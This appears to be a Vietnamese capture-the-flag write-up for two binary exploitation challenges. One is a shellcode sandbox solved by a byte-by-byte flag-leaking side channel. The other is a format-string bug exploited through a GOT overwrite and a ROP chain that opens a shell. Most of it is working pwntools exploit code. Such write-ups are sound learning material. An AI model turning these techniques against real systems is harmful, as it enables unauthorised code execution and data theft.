**Write-up for week 3 tasks** --- **1. Stronger deathnote-challenge** * Challenge này là bản nâng cấp của challenge deathnote ở tuần 1 mình đã viết wu ở đây: [Write up for week 1 tasks](https://hackmd.io/RcHwsjjVTb2lVYMGfu2LVA) * Điểm khác biệt ở chall này đó là trước khi exec shellcode thì toàn bộ thanh ghi kể cả rbp, rsp đều đã được set lại * ![image](https://hackmd.io/_uploads/rkGAZMDna.png) * Trong đó flag sau khi được load thì sẽ mở, nhưng ở exec thì sẽ đọc flag vào 1 địa chỉ random được mmap, sau đó đóng file nên không thể call read 1 lần nữa * ![image](https://hackmd.io/_uploads/B1JLffvhp.png) * Rõ ràng bây giờ chỉ cần tìm được địa chỉ của ptr thì mọi thứ đều sẽ quy về bài của week 1, tuy nhiên vùng mmap được lấy từ urandom, nên cũng chưa tìm được cách bypass, do đó chỉ còn cách là tìm 1 pointer nào đấy trỏ vào stack rồi tính offset về ptr để có được địa chỉ của flag * Trong lúc debug mình có nhận xét là khi chương trình chạy thì gần như mình không thể tìm được vị trí nào có lưu pointer trỏ vào stack, tuy nhiên trước khi vào hàm main thì có nhiều hơn 1 thanh ghi lưu pointer trỏ vào stack * ![image](https://hackmd.io/_uploads/ry4O7Mvhp.png) * Do đó, mình thử kiểm tra xem trước khi vào main thì chương trình đã làm gì thì phát hiện trước khi call hàm main, chương trình có lưu rax vào fs:0x300 * ![image](https://hackmd.io/_uploads/B15gNMvna.png) * Mà lúc này rax là 1 pointer trỏ vào stack nên việc của mình bây giờ chỉ đơn giản là ``mov rbx, DWORD PTR fs:0x300`` là rbx đã có pointer trỏ vào stack mà mình cần * Bây giờ bài toán đã có thể giải quyết, thực hiện tính toán offset tìm được so với stack frame lưu địa chỉ của flag là đã có thể giải như chall ở week 1 * Đây là payload mình đã dùng để solve chall này: ```python! from pwn import * #Vì để tránh null byte nên mình sẽ xor các giá trị với 0xffffffffffffffff trong thanh ghi sau đó xor lại lần nữa #Khởi tạo địa chỉ của flag, sau khi mov ebx, DWORD PTR [rdx] thì rbx chứa địa chỉ của flag flag_add = asm(''' mov rcx, 0xffffffffffffffff xor rcx, 0xfffffffffffffcff mov rdx, QWORD PTR fs:[rcx] add rdx, -0x170 mov ebx, DWORD PTR [rdx] nop ''', arch= 'amd64', os='linux') #Khởi tạo thanh ghi để call read với rax là syscall num 0, rdi = 0 (từ stdin), rsi là địa chỉ trỏ thẳng vào nơi mình nhập và rdx là số byte read init = asm(''' mov rsi, rax xor rax, rax xor rdi, rdi mov rdx, 0xffffffffffffffff xor rdx, 0xffffffffffffffee nop ''', arch = 'amd64', os = 'linux') #Khởi tạo rdx, rcx trước khi xor, trong đó rdx sẽ là char brute j, rcx sẽ là char flag setup1 = asm(''' mov rdx, 0xffffffffffffffff mov rcx, 0xffffffffffffffff nop ''', arch = 'amd64', os = 'linux') #Kết thúc xor và đưa char flag vào rcx setup3 = asm(''' nop add rcx, rbx mov rcx, qword ptr[rcx] nop ''', arch = 'amd64', os = 'linux') #Điều kiện chẻ để call read hay exit: nếu char brute j <= char flag thì sẽ syscall read để hàm check return true, nếu không syscall exit để hàm check chạy except return false #Vì nếu rax đã được khởi tạo syscall num của read, nếu như true thì chỉ việc syscall, còn không thì sẽ đổi rax thành syscall num của exit rồi mới syscall call_exit = asm(''' cmp cl, dl jge end mov rax, 0xffffffffffffffff xor rax, 0xffffffffffffffc3 syscall nop end: nop syscall nop nop ''', arch = 'amd64', os = 'linux') flag = [] set2_1 = [] #Mảng prebuild shellcode xor để đưa char brute j vào shellcode set2_2 = [] #Mảng prebuild shellcode xor để đưa vị trí brute i vào shellcode #Do i, i + 1 khi xor với 0xff sẽ thành 0xf(f - i), 0x(f - i - 1) nên mình set set_2[i] = set_2[i - 1] - 1 #Khởi tạo mảng prebuild shellcode xor char j for j in range(0, 32): set2_1.append('') set2_1.append(asm("xor rdx, " + hex(32 ^ 0xffffffffffffffff), arch = 'amd64', os = 'linux')) for j in range(33, 128): set2_1.append(bytes.fromhex((hex(int(set2_1[j - 1].hex(), 16) - 1)[2::]))) #Khởi tạo mảng prebuild shellcode xor vị trí i set2_2.append(asm("xor rcx, " + hex(0 ^ 0xffffffffffffffff), arch = 'amd64', os = 'linux')) for i in range(0, 0x32): flag.append('') if(i == 0): continue set2_2.append(bytes.fromhex((hex(int(set2_2[i - 1].hex(), 16) - 1)[2::]))) #Hàm kiểm tra tại vị trí i char brute j với char flag def check(i, j): setup2 = set2_1[j] setup2 += set2_2[i] with remote("0.tcp.ap.ngrok.io", 10394) as chall: chall.sendlineafter(b'note$ ', b'loadflag') chall.sendlineafter(b'note$ ', b'exec ' + flag_add + init + setup1 + setup2 + setup3 + call_exit) try: chall.recv(timeout = 0.1) except: return 0 return 1 #Chặt nhị phân char brute tại vị trí k, nếu char brute <= char flag thì true, ngược lại false def brute(k): l = 32 r = 127 m = int((l + r) / 2) while(1): if (check(k, m) == 1): l = m else: r = m m = int((l + r) / 2) if(l == m): break if(r == m): break if(check(k, r)): return chr(r) return chr(l) for i in range(0, 0xff): flag[i] = brute(i) if(flag[i] == '}'): break #In flag for i in range(0, 0xff): print(flag[i], end='') if(flag[i] == '}'): break ``` => Flag: ```kira{https://www.youtube.com/watch?v=tAMhUyLwD4k}``` --- **2. Oder pizza (cafe trung)** ```python! from pwn import * chall = remote("0.tcp.ap.ngrok.io", 13708) #chall = process("./pizza_patched") def get(n, k, last): #Get address leaked x = k while(p[x] != '0'): x += 1 s = '' for i in range(x, len(n)): if(n[i] == last): return [s, i] s += n[i] def write_ptr(buf, ptr): #Format string and write ptr to buf ptr = "0x" + ptr chall.sendlineafter(b'> ', b'12') chall.sendlineafter('topping: ', bytes.fromhex(buf[2:])[::-1]) chall.sendlineafter(b'> ', b'12') payload = b'%' + str(int(ptr, 16)).encode() + b'c%6$n' chall.sendlineafter('topping: ', payload) chall.sendlineafter(b'> ', b'6') chall.sendlineafter(b'(y/n): ', b'y') def cut_of(ptr): #Divide address into 3 part to easier to write s1 = "" s2 = "" s3 = "" s1 = ptr[0 : 4] s2 = ptr[4 : 8] s3 = ptr[8 : 12] return [s1, s2, s3] def write_to_do(a_ptr, b_thing): #Write b_thing to a_ptr address | divide the string to 3 smaller string and write tmp = cut_of(b_thing[2:]) write_ptr(a_ptr, tmp[2]) write_ptr(hex(int(a_ptr, 16) + 0x2), tmp[1]) write_ptr(hex(int(a_ptr, 16) + 0x4), tmp[0]) def get_shell(): #Just exit program and get the shell chall.sendlineafter(b'> ', b'1') chall.sendlineafter(b'> ', b'1') chall.sendlineafter(b'> ', b'1') chall.sendlineafter(b'(y/n): ', b'n') return #Leak memory: chall.sendlineafter(b'> ', b'12') chall.sendlineafter(b'topping: ', b'%47$p') #Leak a libc address chall.sendlineafter(b'> ', b'6') chall.sendlineafter(b'> ', b'12') chall.sendlineafter(b'topping: ', b'%48$p') #Leak a stack address p = chall.recvuntil(b'Your').decode() chall.sendlineafter(b'(y/n): ', b'y') tmp = get(p, 0, 'g') lib = tmp[0][:-1] tmp = get(p, tmp[1], 'Y') st = tmp[0][:-1] chall.sendlineafter(b'> ', b'12') chall.sendlineafter(b'topping: ', b'%49$p') #Leak a program address chall.sendlineafter(b'> ', b'6') chall.sendlineafter(b'> ', b'12') chall.sendlineafter(b'topping: ', b'%48$p') #Random thing, can be anything p = chall.recvuntil(b'Your').decode() chall.sendlineafter(b'(y/n): ', b'y') tmp = get(p, 0, 'g') some_ptr = tmp[0][:-1] system_ptr = hex(int(lib, 16) + 0x25246) #System pointer replace to got libc_ptr = hex(int(lib, 16) - 0x2724a) #Libc base pointer old_rip_ptr = hex(int(st, 16) - 0xf8) #Pointer need to be wrote binsh_ptr = hex(int(libc_ptr, 16) + 0x196031) #Just "/bin/sh" string pop_gadget = hex(int(libc_ptr, 16) + 0x277e5) #pop rdi; ret call_ptr = hex(int(some_ptr, 16) + 0x1a) #Call setbuf a.k.a system setbuf_got = hex(int(call_ptr, 16) + 0x2e75) #Got need to be wrote write_to_do(setbuf_got, system_ptr) write_to_do(old_rip_ptr, pop_gadget) write_to_do(hex(int(old_rip_ptr, 16) + 8), binsh_ptr) write_to_do(hex(int(old_rip_ptr, 16) + 16), call_ptr) get_shell() chall.interactive() ```